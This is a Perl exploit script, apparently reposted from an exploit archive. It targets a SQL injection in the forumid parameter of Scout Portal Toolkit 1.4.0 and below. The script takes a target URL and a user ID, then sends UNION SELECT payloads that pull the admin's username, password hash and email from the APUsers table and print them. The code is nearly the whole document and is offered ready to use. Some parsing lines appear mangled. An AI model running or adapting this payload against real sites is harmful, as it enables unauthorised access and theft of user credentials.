==================================================================== Scout Portal Toolkit <= 1.4.0 (forumid) Remote SQL Injection Exploit ==================================================================== #!/usr/bin/perl #=============================================================== # Scout Portal Toolkit 1.4.0 Remote SQL injection Exploit # Coded By Simo64 # Moroccan Security Research Team # Specials thx to :Greetz : # CiM-Team - CrAsH_oVeR_rIdE - dabdoub - damip - DarkbiteX - drackanz - Iss4m - megamati # Mourad - Preddy -Rachid - RapYaS - r00tkita - S4mi - secteura - Silitix - tahati - And All Freinds ! #=============================================================== # Details : # Scout Portal Toolkit 1.4.0 Remote SQL injection Vulnerability # Website : http://scout.wisc.edu/Projects/SPT/ # Vulnerable File : SPT--ForumTopics.php # PoC : http://host/path/SPT--ForumTopics.php?forumid=[SQL] # Exemple : # This will display admin name and password # Exploit : http://victime/path/SPT--ForumTopics.php?forumid=-9+UNION+SELECT+null,UserName,UserPassword,33,44,55+FROM+APUsers+WHERE+UserId=1 # The exploit will work regardless of magic_quotes_gpc is set or not #============================================================== use LWP::Simple; print "\n==============================================================="; print "\n= Scout Portal Toolkit <= 1.4.0 Remote SQL injection Exploit ="; print "\n= Discovred & Coded By Simo64 ="; print "\n= Moroccan Security Research Team ="; print "\n===============================================================\n\n"; my($targ,$path,$userid,$xpl,$xpl2,$data,$data2,$email); print "Enter Traget Exemple: http://site.com/ \nTraget : "; chomp($targ = ); print "\n\nEnter Path TO Portal exemple: /SPT/ OR just / \nPath : "; chomp($path=); print "\n\nEnter userid Exemple: 1\nUserID : "; chomp($userid=); $xpl1="-9+UNION+SELECT+null,UserName,UserPassword,null,null,null+FROM+APUsers+WHERE+UserId="; $xpl2="-9+UNION+SELECT+null,Email,null,null,null,null+FROM+APUsers+WHERE+UserId="; print "\n[+] Connecting to: $targ\n"; $data = get($targ.$path."SPT--ForumTopics.php?forumid=".$xpl1.$userid) || die "\n[+]Connexion Failed!\n"; $data2 = get($targ.$path."SPT--ForumTopics.php?forumid=".$xpl2.$userid) || die "\n[+]Connexion Failed!\n"; print "\n[+] Connected !\n"; print "[+] Sending Data to $targ ....\n\n"; $username=substr($data,index($data,"

")+11,index($data,"

")-12); chomp $username; $password=substr($data,index($data,"")+34,index($data,"

")-index($data,"")-34); chomp $password; $email=substr($data2,index($data,"

")+11,index($data2,"

")-12); chomp $email; if(length($password) <= 34){ print "[!]Exploit Succeded !\n********************\n\n========= UserID = $userid Infos ======="; print "\n= UserID : ".$userid; print "\n= Username : ".$username; print "\n= Password : ".$password; print "\n= Email : ".$email; print "\n===================================\n\nEnjoy !"; } else {print "\n[!] Exploit Failed !";} # 0day.today [2018-02-15] #

Query Builder